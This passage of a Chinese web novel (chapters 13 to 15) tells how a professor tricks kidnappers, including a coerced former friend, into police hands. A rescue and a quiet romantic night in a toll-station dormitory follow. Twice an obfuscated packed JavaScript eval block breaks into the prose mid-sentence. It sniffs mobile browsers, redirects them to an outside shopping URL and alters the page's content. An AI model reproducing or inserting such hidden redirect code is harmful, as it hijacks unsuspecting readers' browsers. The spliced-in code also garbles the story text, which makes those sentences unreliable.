陆嘉清有些不情愿,但还是勉勉强强地答应了,离开前,又低声恳求着廖书言:“老师,请您一定救回嘉儿!我这个人已经废了,不能害了她!救回她之后,我一定会劝她回家!” 看着陆嘉清重新穿上雨披钻进雨里,廖书言才将车倒了一个头。 在车里等着绑匪的电话,让他心焦不已。 号码打进来时,并没有显示归属地,他右手接起赵嘉儿的手机,左手在自己手机上搜索着绑匪的电话号码。 未知号码。 廖书言并不奇怪,听到绑匪故意压着嗓子的声音,他已经判定,电话那头是个女人。 “钱准备好了么?” 廖书言不慌不忙地道:“我得确认她在你手上,而且安然无恙。” 电话那头沉默了一会儿,才道:“给你们半分钟通话的时间。” “我要看到她的人。” “你别得寸进尺!” 廖书言毫不退让:“拍段视频发过来。” 说完,他当先便挂断了电话。 在这样的局面下,他得先发制人,尽量拖延时间。 赵嘉儿被塞进一辆车的后座里,蒙上了眼睛,堵住了嘴,浑身动弹不得,只能在噼里啪啦的雨声里听到电话那头廖书言的声音。 她不明白,黄玲为什么要开免提? “将你这么悲惨的样子发过去,不知道他肯为你花多少钱呢?” 听她这么说,赵嘉儿知道她在录像,安安静静地躺在后座上,不再挣扎。 不一会儿,她再次听到了廖书言的声音。 “怎么样,廖老师?心疼了吧?先付个押金吧?”黄玲故意压着嗓子打着商量。 廖书言道:“你知道接电话的是我?” 黄玲心知自己一时得意忘形说漏了嘴,心念急转,笑道:“赵小姐刚开始一直念着‘廖老师’,先生这么配合,难道不是赵小姐口里的廖老师么?” 廖书言不去揭穿对方欲盖弥彰的谎话,直接道:“押金是多少?” 黄玲正色道:“不多,二十万。至于之后的赎金,廖老师不如估估赵小姐这条命值多少钱,您估的价我要是满意的话,自然就会放人了。” 廖书言隐隐察觉到对方的目的并非是金钱,似乎是有着更深层次的目的。 他心头升起一股强烈的不安,却又不知道哪里不对。 “好了,话不多说,二十万打到我给你的账户里,剩余的赎金,我要现金。” 廖书言道:“短时间里,我没办法给你那么多现金。” 黄玲道:“今夜之前,能弄到多少是多少!记住,明早七点之前,鲁甸龙头山来赎人!廖老师还是动作快点,那边刚发生了地震,今晚又有暴雨,迟了,赵小姐可能就……记住,先打二十万过来啊!” 廖书言低声道:“你让她说两句话。” 黄玲没多说,撕了赵嘉儿嘴上的胶带,便将电话举到了她嘴边。 廖书言听到她轻微的抽泣声,心口狂跳,唤了一声:“嘉儿?” 13. 第13章 难中情(3) “廖老师……”听到廖书言近在咫尺的声音,赵嘉儿的眼中不由盈满了泪水,“您不要管我,会有危险,嘉清……” 黄玲不给赵嘉儿多说话的机会,再次用胶带封住了她的嘴,便笑着对电话那头讲道:“好了,人也看到了,声音也听到了,廖老师最好动作快点!对了,为了赵小姐的人身安全,廖老师也别想着报警,您的一举一动,我都了如指掌。” 电话被挂断,车窗外的雨更大了。 黄玲最后的话引起了廖书言的警惕心。他的目光落在空无一人的副驾驶座上,联想到陆嘉清之前的种种言行,还有赵嘉儿方才说出“嘉清”这个名字时的绝望与愤慨,都令他生疑。 他几乎是毫不费力地在副驾驶的底座上找到了能监视他一举一动的微型摄像头,在手中细细看了一会儿,便将摄像头收进了自己的西装口袋里,慢慢启动了车子。 而陆嘉清从廖书言的车上下来后,并没有回到医院,而是再次回到巷子深处的粤菜馆里。在黑漆漆的店子里,陆嘉清换了一身装束,黑色连帽卫衣宽宽松松地套在身在,宽大的帽子几乎遮住了他的整张脸,笔记本电脑上的光透射在他苍白的脸上,忽明忽暗,更有几分阴森鬼魅。 他紧盯着电脑屏幕,廖书言的一举一动皆呈现在他眼前,画面突然变黑,他不由拧紧了眉头。 他抱起笔记本,穿上雨披,从店子后门绕到大街上,随手招了一辆出租车,一路坐到了昆明开往鲁甸的高速路口。 路口,依旧有运送救援物资的货车有序地开进了浓密的雨雾里。 载陆嘉清来路口的司机接过钱后,好心提醒道:“小伙子勇气可嘉,不过,这个时候进灾区,很危险。我看你还是不要去了。” 陆嘉清没回应,沉默着下了车,直接向等待路口的一辆救援车走去。 他直接坐上了副驾驶,对叼着烟的黄玲说道:“廖书言发现了我安置的摄像头,如今只能根据安装在嘉儿手机上的跟踪器掌握他的行踪。” 黄玲吐出一口烟圈,偏头问道:“他现在在哪里?” “已经上了高速,”陆嘉清摇下车窗,探出头向货箱看了一眼,“嘉儿呢?” 黄玲不屑地瘪嘴,倾过身子,在他耳边冷冷地警告道:“你最好记住,陆嘉清早已经不存在了,在组织里,你是我的手下,排行十三,没有名字,只有代号‘十三’。” 陆嘉清微不可察地皱了皱眉,低声道:“组织要对付的是廖书言,嘉儿只是引他上钩的饵,目的既然达到了,就先放了她。” 黄玲坐了回去,猛地踩了油门,神色冰冷地盯着前方:“我一直很好奇让你念念不忘的女孩是怎样的一个女孩,好不容易逮到机会,我怎么可能轻易放她回去?来的路上,我在车上将你这两年的情况跟她讲了,她现在对你只有失望,不会再想见你的。她就在货箱里,跟这些赈灾物资待在一块儿呢。” 陆嘉清双目阴沉,低声:“停车!” “做什么?”黄玲怒视着他,“十三,你别仗着我宠你,你就给我蹬鼻子上脸!” 陆嘉清冷笑道:“你能当着我的面动手打她,暗地里会怎样对她,我会不知道?我都跟她撇清关系了,你还想怎样?” 黄玲默默开着车,许久,才低声道:“车里没有她的位置,货箱里还能给她避避雨。廖书言的二十万已经打了过来,确认他到了指定的地点,我会放了你的嘉儿。” 赵嘉儿躺在一箱箱物资里,周围黑漆漆得见不到一丝光,只是颠簸得厉害,让她浑身酸疼。她双手在车厢上磨了许久,手腕已被磨出了血,她依旧咬牙坚持着,终于将缠在手上的胶带磨出了缺口。 双手摆脱了束缚,她撕了嘴上的胶带,揭开蒙住眼睛的黑布,又去解缠住双脚的胶带。 货箱的门缝里有微弱的光闪过,她小心翼翼地爬到货箱的车门边,脸贴着冰冷的车门,透过缝隙往外瞅着。 风声擦着车门而过,吹得车上的铁锁哐当直响,雨滴敲打在车厢上的声音更是铿然入耳。 赵嘉儿心急如焚,如今的境地,又让她一筹莫展,不知道通过怎样的方式与廖书言取得联系。 她用力拍打着车门,紧锁的车门犹如铁树一般,她撼不动。 挪到货箱的最里侧,她偶尔能听到车头里传来的争吵,想到陆嘉清,心里又十分难受。 她宁愿陆嘉清始终是失踪前的样子,也不愿再见时变得面目全非。 行驶的货车缓缓停了下来,赵嘉儿听到货箱外嘈杂的人声,还有高速上的交警维持秩序的鸣笛声,忙竖起耳朵听着外边的动静。 她虽听不真切,但能猜到,前方的道路上出了事故。 风雨渐大,在进入鲁甸的路口,路两旁的山体突然崩塌,将进出的道路堵死。山体崩塌时,经过的车辆都被泥石淹没,车体已经变形。 在交警的指示下,黄玲将车靠边停住,心有余悸地呼出一口气。 她偏头看向坐在座位上捣鼓电脑的陆嘉清,问道:“廖书言现在到了哪里?” “信号中断,”陆嘉清心中有些焦急,“追踪不到他的踪迹了。” 黄玲望着前方,微微笑道:“有没有可能,他也是那些倒霉蛋中的一个。” 陆嘉清没有言语,缓缓地阖上了笔记本,推开车门,跳下了车。 雨仍在下,他没有穿上雨披,一个人走到警戒线外,也不知自己在看什么。 黄玲撑伞走到他身边,将伞举过他头顶,责备道:“刚从一堆废墟里捡回一条命,身体还没恢复,回车上去!” 陆嘉清在风雨里点燃一支烟,道:“手机能联系上么?” 黄玲摇头,扯着他走到货车前,却见一群穿着雨披的交警正围着车记录着车牌号。 黄玲心里有些慌,上前道:“几位大哥这是什么意思?我这车里装的是送往灾区的赈灾物资,走得是正规流程。” 一名交警道:“我们听到车厢里有人呼救,请这位女士配合检查。” 赵嘉儿被她捆住了双手双脚,封了口,不可能会发出声音。 黄玲有些慌乱,但还是试图解释:“你们可能听错了……” 然,不等她说完,赵嘉儿沙哑的声音便从车厢后传了出来。 被这么多双眼睛盯着,黄玲无从辩解,笑着道:“可能是装货的人疏忽了,将人锁在了里面……钥匙在车上,我去拿。” 她扯了扯对此事漠不关心的陆嘉清,对他附耳低语:“上车,趁机甩掉他们。” 陆嘉清笑着顺了她的意。 一名带头的交警意识到不对劲,向身边的几人打了一个眼色,众人会意,纷纷退到了一旁。 黄玲装作在找钥匙的样子,目光时刻留意着那些交警的动向,趁他们分神的间隙,她扭动车钥匙,一脚踩下油门,货车猛地掉了一个头。 “十三,系好安全带!” 大型货车突然逆转方向,吓得围堵在高速路上的人们慌乱向旁躲开。片刻,三名交警坐上巡查的摩托车风驰电掣一般,在大风大雨里,激起一地的水花,追着前方的货车而去,鸣笛声响彻黑夜。 赵嘉儿在货箱内被颠得东倒西歪,只能抓着一箱箱物资,努力维持身体的平衡。 她现在只能祈祷,身后紧追不舍的交警能尽快追上来,让她尽快联系上廖书言。 在心里一遍遍默念着一串手机号码,她又十分苦恼:“应该没有记错廖老师的号码吧?” 黄玲已经将时速开到了极限,将紧追不舍的摩托车队伍甩出了很长一段距离。然而,她还来不及松一口气,后边又追上来两辆时速不慢的赈灾货车,想要从两边堵住她的路。 后边传来高音喇叭的喊话:“前面的车,赶紧停下来!再不停下来,开枪了!” 黄玲惊呆了:“为什么这里会有带枪的刑警?廖书言他报警了?” “追我们的人,根本不是交警,是地方警察。”陆嘉清探头向后看了一眼,枪声毫无预兆地在他耳边响起。 砰——砰—— 接连两声枪响,疾行的货车一阵颠簸,车头的左轮已慢慢泄了气。 黄玲的手心里沁了汗;陆嘉清揉着眉心劝道:“停车吧,他们是真的警察。” 黄玲不甘心,用力拍打着方向盘:“廖书言会不顾赵嘉儿生死?真的敢报警?” 陆嘉清只是盯着黑夜里的大雨,笑而不语。 “你还笑?”黄玲恶狠狠地瞪他一眼,“你等着把牢底坐穿吧!” 陆嘉清漠然地道:“挺好。” 黄玲似乎明白了一些,眼里闪过一丝杀意:“是不是你暗中动了什么手脚?” 陆嘉清嘲笑道:“你早点放了嘉儿,也不会被察觉。” “死到临头,还挂念着你的嘉儿!”黄玲冷笑不止,“十三,你被抓了,请记住哪些话该说,哪些话不该说,你母亲过得好不好,都看你的表现。” 陆嘉清看了看高速两旁的路,沉声道:“从高速上跳下去,说不定还有活命的机会,我掩护你逃走。” 黄玲从后视镜里看到渐渐逼近的车辆,猛地踩了一脚刹车,倾过身子一把抱住陆嘉清的头,对着他的嘴,重重地吻了下去。 “我会想办法救你出来,”黄玲看着他淡漠的双眼,深情地说道,“十三,我爱你的心是真的。” 陆嘉清微微扬起嘴角,低声说道:“走吧。” 两辆货车和三辆摩托车前后围住了停靠在高速防护网边的货车,陆嘉清从车内下来,慢慢举起了双手。黄玲趁众人的注意力皆放在陆嘉清身上时,一咬牙,推开车门,翻身爬上车顶,在黑洞洞的枪口下,抬腿一跃,便跨过了高速边的防护网,身体向高坡下滚去,不见踪影。 赵嘉儿一身狼狈地下车,抬头便见到了穿着交警服的吴帆:“吴主任?” 吴帆笑着对她点了点头:“赵小姐受惊了。先跟我到附近的收费站歇一歇,书言在赶过来的路上。” 赵嘉儿又惊又喜:“廖老师没事?” “没事,”吴帆将一件雨披递给她,“你心里要是有疑问,等他来了,再来问他吧。” 吴帆领着赵嘉儿向一辆货车走去,看到被几名扮成交警的地方警察押走的陆嘉清,赵嘉儿不由自主地上前唤了一声:“嘉清!” 陆嘉清只是回头看了她一眼,便被押进了随后而来的一辆警车里。 吴帆将赵嘉儿安置在收费站的员工宿舍里,看了看她被淋湿的衣鞋,递给她一条毛巾和一杯热水:“先擦一擦,别感冒了。” 赵嘉儿笑着说道:“谢谢。” 吴帆见她有些心不在焉,好似知道了她的心思一样,笑道:“书言要先去这里的警署做笔录,你耐心等一等他。这里的女员工宿舍没有空房间,就委屈你在男人堆里过一宿了。” “吴主任从灾区回来了么?” “我回来本来想取一些医疗器材过去,哪知就接到了书言的电话,我就只能听他的吩咐,苦巴巴地在风雨里等着赵小姐了。”吴帆道。 赵嘉儿听他打趣,有些窘迫,低声道:“我以为廖老师会真的带着钱去龙头山呢!” “绑匪太心急,反倒是书言占了利,”吴帆笑道,“跟他玩心理战术,至今还没人玩过他。怎么说呢?这家伙最懂人性。” 吴帆无意中瞟到了赵嘉儿端着水杯的双手上,手腕处的伤有些触目惊心,他不由凝神打量了她一会儿,发现自己似乎对她的印象太过浮于表面了。 他一度十分不解,廖书言到底迷上了她哪里。 这一刻,似乎有些懂了。 二十平米的员工宿舍,洗手间与卧房之间有一条一米宽的过道,过道尽头有一处水槽,房间里,除去简易的书桌和衣柜,只有一张一米五宽的上下铺。 赵嘉儿等到半夜也不见廖书言赶过来,隔壁的男员工已经睡下,她轻手轻脚地开门在门前张望了一会儿,又觉得风有些冷,便又回到了房间。 她虽然经历了一场波折,人有些犯困,但是,在听到门外汽车熄火的声音时,又觉得精神头十足,穿着女员工送来的一双棉拖鞋便跑了出去。 廖书言在远处停了车,挎着西装下了车,撑开伞,便见朦胧灯火下,有个身影在屋前翘首以盼。 赵嘉儿见他一步步走近,连忙奔到了他面前,一时之间却又说不出话来,丝毫没有察觉到眼角已经溢出了几行泪水。 她低头,见廖书言的皮鞋和西裤上沾满了泥水,心里五味陈杂。 廖书言带着凉意的手轻轻抚上她的眼角,将她眼角的泪水慢慢拭去,疲惫的声音里带着浅浅的笑意:“我以为你见了我会高兴,怎么还哭了呢?” 哪知赵嘉儿听了他的话,眼泪反而如断了线的珠子,哗哗往下淌。 廖书言收了雨伞,上前轻轻拥住她,轻拍她的背:“嘉儿,这样哭下去,我会为难。” 他轻轻拥着她瘦小单薄的身子,前半夜的奔波与提心吊胆,让他一刻也舍不得放开她。然而,看到她完好无损地站在他面前,埋着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227871|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头在他怀里哭泣,他又觉这一切太不真实。 赵嘉儿哭得累了,方才意识到自己竟在不知不觉中,钻进了廖书言的怀里,哭了他一身的眼泪鼻涕。 她红着耳根向后退了两步,迟疑地牵了他的衣袖,埋着头道:“吴主任为我们安排了一间员工宿舍……” 廖书言随她进屋,见到是上下铺,心里竟松了一口气。 若真的只有一张床,他还真不知怎样解决那样尴尬的处境。 进了房间,他仿佛觉得赵嘉儿成了这间屋子的女主人,而他则是晚归的丈夫。 他将手中的西装挂在床头,坐在了床边。他向过道里张望着,不一会儿,赵嘉儿便从那边端出兑好的温水,送到他脚边,蹲下身子笑着望着他:“廖老师泡泡脚。” 他脱了鞋袜,将双脚放进盆里,她已经将他的鞋摆放在了房间门口,又从鞋架上取出一双男士棉拖鞋放在他脚边。 她忽然抬头,笑着问:“烫不烫?” 廖书言摇头:“不烫,也不凉。” 赵嘉儿起身又跑进洗手间,回来时,递给廖书言浸了温水的毛巾:“我们借住了这里男员工的宿舍,一些洗漱用品来不及准备,廖老师不介意吧?” “不介意,”廖书言擦着脸,抬头看着她,突然问了一句,“你睡上铺,还是下铺?” 赵嘉儿挠着头,双眼向上瞟了瞟。 廖书言看她这副模样,一阵好笑:“那你睡上铺。” 赵嘉儿吐舌笑了笑,伸手去拿廖书言手中的毛巾,露出了长袖里的半截手腕。 廖书言抬头看她:“手腕怎么受伤了?” 赵嘉儿接过毛巾,毫不在意地笑道:“就是不小心磨伤了,没事的。” 廖书言从吴帆那里知道了一些她脱险的过程,但是,赵嘉儿是怎样被转移到送往灾区的赈灾车上的,他却不得而知。 而警方的调查结果还没有出来。 背后之人显然是冲着他来的,而且对他最近的行程很了解,甚至能利用赵嘉儿引他上钩。他自忖从未得罪过任何人,想不出是谁想要他的命。 赵嘉儿是因为他无辜遭受了这一场磨难和惊吓,他对她又是愧疚又是疼惜,看着她此刻尽心尽力地服侍他洗漱,他又有着说不出的感动与满足。 赵嘉儿提着暖水瓶再次蹲在他面前时,他就那样看着她出了神,忽听到她不满地催促道:“廖老师,您把脚抬一抬啊,水凉了,我给您兑些热水进去。” 她的手指在水里轻轻搅动着,无意中碰到他的脚背,他慌乱抬起双脚,竟发现自己双耳有些发烫,声音已在发抖:“嘉儿,你放着,我自己来。” 赵嘉儿虽不解,但还是乖乖起了身,与廖书言隔了一些距离,坐在了床边。 “廖老师,您在警局见到嘉清了么?” 廖书言试着水温的手一顿,应了一声:“见到了。” 他坐直身子,偏头看着她,目光晦涩:“他将一切都揽在了自己身上。” 赵嘉儿心里又气又恼,对陆嘉清,却始终恨不起来。 从黄玲口中,她知道他吸毒、贩毒……那些她深恶痛绝的行径,他都干过。她不知道,到底发生了什么事,让曾经乐观自信、阳光开朗的少年变成了如今这副模样? 廖书言见赵嘉儿坐着不说话,擦干脚,将脏水倒进洗手间后,便从床头的西装口袋里掏出套着阿狸手机壳的手机。 赵嘉儿接了过来,却发现手机开不了机。 “嘉清在你手机里安装了一款追踪软件和反追踪软件,他可以利用追踪软件追踪到持有手机者的踪迹,但是,”廖书言坐在她身边,轻声道,“只要破解了他安装的反追踪软件,他那边的踪迹反倒被手机这头的人掌握了,这款软件应该是他自己开发的,破坏性大……” 赵嘉儿捧着手机接过话:“所以,我的手机就是报废了咯!” 廖书言笑道:“是这样没错——嘉儿,嘉清心中还有良知,若不是他暗中做的手脚,我没办法掌握你的行踪,也不敢贸然与地方警察联系,让警察在路上堵住你们。” 赵嘉儿道:“可是他参与进来了,还想着害您……” 廖书言叹道:“好在你我都没事。嘉儿,因为我,害你受了苦。” 赵嘉儿没有想到她会成为威胁廖书言的筹码,有种被人捧在手心里的感觉,心中升起一股甜丝丝的感觉。 但是,想到陆嘉清,她又有些沮丧:“警方那边怎么处置嘉清的?” “虽然他一口咬定自己不是受胁迫,但是,根据这些证据也能对他宽大处理,只要他能说出幕后指使,会有缓刑,”廖书言道,“不过,我怀疑他是被人威胁了。” 赵嘉儿猛然一惊,有种豁然开朗的感觉:“会不会是他妈妈……嘉清说过,他爸爸是边境缉毒队的队长,但是,大概是在两年前,他爸爸在一次执行任务的过程中,牺牲了。嘉清失踪后,我与池小勉去过他家乡,邻居都不知道他和他妈妈去了哪里——廖老师,你说会不会是当年那伙人为了报复,利用他妈妈威胁他?” 廖书言从未见过她如此激动的样子,有些心疼。 他安抚道:“嘉儿,你别激动。如果真是这样的话,嘉清的处罚不会太重。但是,这件事需要警方暗地里调查,若是他母亲真的在那伙人手里,打草惊蛇恐怕会害了他母亲。” 赵嘉儿点头应了一声,又忐忑不安地问道:“廖老师,贩毒会判死刑么?” 廖书言低声问:“你怀疑嘉清贩毒?” “不是怀疑,”赵嘉儿拧着眉头道,“绑架我的那个女的亲口告诉我的。” 廖书言原想池勉的猜想不会成真,也不想这样的事情被赵嘉儿知道,却没想到,她会从其他人的口中得知这件事。 “嘉儿,先睡吧,”廖书言抬手轻拍了拍赵嘉儿的肩,“明天回市区帮你买一部手机,别让你家人朋友挂心。” 赵嘉儿重又意识到手机已报废的事实,脸上有些惋惜:“手机里还有好多照片呢!” 廖书言脸上有几分尴尬,笑道:“手机是我弄坏的,买手机的钱我出,至于那些照片,我真的没办法。” 听闻,赵嘉儿连忙摆手:“怎么能算在廖老师身上呢?廖老师是为了救我……险些遭遇不测……” “我若真遭遇不测,你会不会记得我?”廖书言虽然在笑,却问得认真。 赵嘉儿倏地起身,蹭蹭地爬到了上铺,躲在被子里嘟哝了一句:“廖老师出事的话,我会伤心。” 14. 第14章 难中情(4) 听到敲门声,赵嘉儿慌得用被子蒙住了头,廖书言笑着摇了摇头,便走过去开了门。 吴帆提着装得满满的塑料袋,笑着向廖书言扬了扬手中的塑料袋:“夜宵,还有你们两人的洗漱用品。” 说着,他就要往房间里钻。 廖书言挺身往前一站,将他推到房间外,随手接过了吴帆手中的塑料袋,却是一本正经地道:“嘉儿睡下了,不方便。” 赵嘉儿正躲在被子里竖起耳朵聆听着那边的动静,听到廖书言这样打发吴帆的话,更觉得难为情。 眼下,她也只能蜷在被子里,装作熟睡的样子。 听到房间外细细密密的交谈声,赵嘉儿只祈祷着廖书言能早点进来。 装睡,真的是很辛苦的一件事。 熟悉的脚步声从床边经过,她从被子里冒出头,瞅见下铺的床位上放着装着泡面、压缩饼干、矿泉水的塑料袋,突然感觉肚子有些饿了。 她探出头向过道里张望着,听到水龙头放水的声音,她忍不住问了一句:“廖老师,您在做什么?” 廖书言将热得快放进暖水瓶里,插上电源,又从洗手间内端出一盆清水:“吴医生给你送了药过来,你下来,帮你上药。” 手腕处的磨伤,赵嘉儿一直忍着痛没有说,又因为条件有限,她更不想在这个时候添麻烦。 廖书言从一堆零食里拿出一只小塑料袋,将里面的碘酒、棉签、红药水和无菌纱布一一拿了出来。抬头见赵嘉儿趴在床边一眨不眨地看着他,他笑着唤了一声:“嘉儿。” 赵嘉儿挠头笑了笑,问了一句:“廖老师烧水是要泡面?” 廖书言点头:“在医院吃过你削的梨后,就没吃过东西了,有些饿。你饿不饿?” 赵嘉儿点头如捣蒜,可怜兮兮地看着他。 “那你下来,先上药。” 赵嘉儿立即从被子里钻出,攀着床梯,小心翼翼地下了床。 她坐在床边,廖书言已经将房间内的小书桌搬到了床边,将那一盆温水放了上去,将毛巾在温水里浸了浸。 “把胳膊伸过来,”他在她身边坐下,不见她动作,抬头看着她,“先帮你用热毛巾敷一敷。” 赵嘉儿将双臂的袖子卷起来,慢慢将双手伸到他面前,垂着眼瞅着他。 看着她双腕处磨掉的一大块皮,廖书言微微皱了皱眉,左手托起她的手,右手的毛巾轻轻清理着她的伤口。 突然的热气让赵嘉儿有些不适,微微缩了缩手臂,廖书言抬头看她:“忍一忍。” 看着他为她涂碘酒、上红药水,她的心里如同被熨烫过一般,舒坦坦的。 暖水瓶的热水汩汩响着,热气在狭窄逼仄的房间里四处游窜,一阵阵扑向她的脸蛋,让她浑身起了热意。 她抬眼见廖书言也被热气蒸红了脸,竟觉得他这个样子煞是好看,心里不由有些懊恼相机不在身边。 “廖老师,我的背包落在医院的病房里了,还能找回来么?” 廖书言替她缠着无菌纱布,头也不抬地回了一句:“明天回市区,去医院看看。” 赵嘉儿皱着眉头道:“要是背包丢了,那我这一趟出门还真是得不偿失。” “心疼那些照片?”廖书言笑问。 赵嘉儿点头;廖书言开解道:“医院都有摄像头,若是丢了,看看录像应该也能找到。” 热得快发出一声刺耳的叫声后,廖书言起身将书桌上的药水收起来,给两人一人泡了一碗老坛酸菜面。 两人坐在床边,围着一张小书桌,在下着暴雨的夜里,在滚烫的热气里,心与心的距离似乎更近了一些。 廖书言看着赵嘉儿一根一根吃着面,以为她是吃不惯,有些愧疚地看着她:“委屈你吃这些,回市区请你吃大餐。” 赵嘉儿眉眼弯弯地笑道:“不委屈啊,我挺喜欢吃泡面的,就是太烫了,我下不了口。” “那你慢点吃。” 吃到一半,赵嘉儿已经吃得七分饱了,本想扔下叉子。但是,想到廖书言就在身边看着她,她硬着头皮吃了两口,已经感觉有些难以下咽了。 廖书言向她看过来,她便软软地央求道:“廖老师,我吃不下了,能不能……” “你才吃了一半,”廖书言道,“真的吃饱了?” “我晚饭吃了很多,在车里被颠得厉害,胃里有点难受,这会儿吃不了了,”她见廖书言依旧沉默地看着她,又恳求道,“我知道这是吴主任从救济物资里拿出来的,不能浪费,廖老师要是不嫌弃的话,帮我吃,好不好?” 廖书言有些意外她会说出这样不见外的话出来,久久地注视着她恳求的眼神,叹息了一声:“你先放着吧。吴医生送了牙刷过来,刷了牙就睡吧。” “谢谢廖老师!”赵嘉儿高兴地起身。 她拖着棉拖鞋跑去过道里的水槽边,拧开水龙头用凉水拍了拍脸,小声嘀咕着:“我怎么能让廖老师帮我吃剩下的面条呢?真是没礼貌!没规矩!廖老师都不高兴了!” 房间内,廖书言将赵嘉儿吃剩的面条挑进了自己的碗里,一口一口吃得极慢。 第一次,他会心甘情愿地帮女孩子吃她剩下的食物。 他感觉他吃进嘴里的不是面条,而是这世间千金难求的珍馐美味。 “书言!” 吴帆的声音突然在门外响起,险些让他噎住。 他听吴帆的声音急切,起身过去开了门,吴帆闪身便溜了进来。廖书言也由着他熟门熟路地坐到床边,掩着鼻子抱怨着:“一屋子的泡面味道,你也不知道将门窗打开散散气味。屋子住了女孩子,要讲究一些,知道么?” 廖书言本就没关上门,坐回到床边,继续吃面。 赵嘉儿从过道里出来,笑着向吴帆问了一声好:“吴主任晚上好!” 吴帆笑着打趣道:“赵小姐,跟着书言是不是经常吃不好住不好?” “没有啊!”赵嘉儿向桌上的空碗瞟了一眼,又看廖书言慢条斯理地吃着面条,蓦地红了脸,已经不知道该怎么面对吴帆的打趣了。 “你过来有事?”廖书言察觉到赵嘉儿的窘迫,郑重其事地问了一句。 吴帆道:“是有事。山体滑坡阻断了进鲁甸的路,那边有受难者,我得赶过去救治。堵在高速上的物资,已经陆陆续续空运过去了。这两天暴雨,灾区危险,你们明天先回市区,等雨停了,路通了,再去不迟……再就是有件事要麻烦你。” 他掏出手机,点开一张照片,递到廖书言眼前。 照片上是一张才出生的婴儿,背景是在医院的产房里。 “我老婆零点左右给我生了个儿子,有六斤重呢!唉!灾区的伤患很多,我这段时间都回不去,今天才在医院见了她一眼,就赶过来了,觉得挺对不起他们母子的,你回市区了,去医院看看她,就说我一切都好。” 廖书言盯着照片上那张皱巴巴的脸,应了一声:“行。” 吴帆使劲拍了拍他的肩,看了一眼站在一旁的赵嘉儿,在他耳边苦口婆心地劝道:“兄弟,男女之间啊,有时候不能太君子了,现在的女孩子就喜欢霸道总裁范儿,你再这样子追下去,没了陆嘉清,后面还会有李嘉清、王嘉清。这种乖乖女愿意跟你住一间屋子,一是信任你,二嘛,也是对你有好感的,所以,你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227872|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把握住机会。” 廖书言不为所动,只道:“你自己注意安全。” 吴帆有些恼恨他的不解风情,失望地瞅了他一眼,又起身对赵嘉儿笑脸相待:“赵小姐,做个好梦!” “吴主任慢走!” 早上七点,赵嘉儿就醒了。她夜里没有睡好,在床上迷迷糊糊睡了一觉,再次醒来,书桌上的闹钟已经指向了八点五十。她生怕自己起得迟了,给廖书言留下赖床懒惰的坏印象,鬼鬼祟祟地向下铺看了看,意外发现廖书言仍旧睡得沉。 廖书言面朝墙侧身睡着,赵嘉儿是头次见到他酣睡的样子,不知不觉多看了几眼。 外面的风雨声似乎小了一些,她能听到廖书言绵长的呼吸声,猜到他昨天应该是累了,下床时,尽量将动作放得格外轻慢。 匆匆刷牙洗脸,她换上放在门边的白色运动鞋,猛然意识到这双鞋还是廖书言为她买的。这双鞋陪她经历了一场劫难,白色鞋面已经落下了污迹。 她用软毛鞋刷刷了刷鞋面,看到廖书言的皮鞋上也是泥水污迹,向床上看了一眼,便蹲在门边,将那双皮鞋仔仔细细地刷了一遍,又用浸了水的布擦拭着,直到皮鞋上能映出她的脸,她才满意地放下了。 起身的时候,她见廖书言正趴在床头带着惺忪笑意看着她,好像做贼被抓住一样,竟紧张得不知如何是好。 她渴望廖书言能先发声说些什么,可他偏偏只是看着她,笑着。 “廖老师,”赵嘉儿踢着鞋尖,不满地嘟囔着,“您醒了就起来呀!” 廖书言认认真真地梳洗了一把,扯过床头的领带欲系上时,她看到赵嘉儿正坐在书桌边啃着压缩饼干,啃一口,便喝一口水。看着她蹙着眉头往嘴里塞饼干的样子,他心里涌过一丝难言的情绪。 吴帆没说错,这短短几日的相处,她跟着他,似乎总在吃苦。 “嘉儿,会系领带么?” 赵嘉儿回头茫然地望着他,点了点头。 “能请你帮我系一下么?” 赵嘉儿放下手中的饼干,抽出一张纸巾擦了擦手,接过了廖书言手中的蓝色斜纹领带。她微微踮脚,将领带从他脖子后穿过来,熟练地打了一个结,系好。 “会不会太紧?”赵嘉儿抬头问道。 廖书言摇头。 她察觉到两人之间的距离有些近,呼吸贴着呼吸,脖子便红了,慢慢向后退了两步。 廖书言的目光从她脸上落到手腕上,低声问道:“伤口还疼不疼?” 赵嘉儿抿嘴摇头,又回到书桌边坐下,继续啃饼干。 廖书言搬过一张凳子坐了过来,在塑料袋里翻出两袋压缩饼干,赵嘉儿便递给他一杯热水。他接过,认真地道:“待会儿帮你换药,重新包扎一下,回医院的时候,再拿些药。然后回酒店洗个澡,再陪你去买手机,顺便吃顿好吃的。” 赵嘉儿睁着眼瞅着他:“廖老师一夜未归,不用陪家人么?” 廖书言笑道:“姐姐和姐夫在一块儿,我总是凑过去,会遭人嫌。索性进不了灾区,我带你在昆明逛一逛,散散心。” 赵嘉儿发自内心地笑道:“有廖老师在,真好!” 廖书言目光一亮,笑问:“哪里好?” 赵嘉儿被问住,埋头去啃饼干,嗡嗡回了一句:“哪里都好。” 廖书言有些欣慰,有些感动,却更心疼她。 她因他之故,遭遇了这场劫难,不但没有一句责怪埋怨的话,反而处处体谅体贴他。 他甚至有些害怕以后的分离,想要紧紧地抓住她。 “嘉儿,能否给我一次机会,试着跟我在一起?” 15. 第15章 掌中缘(1) 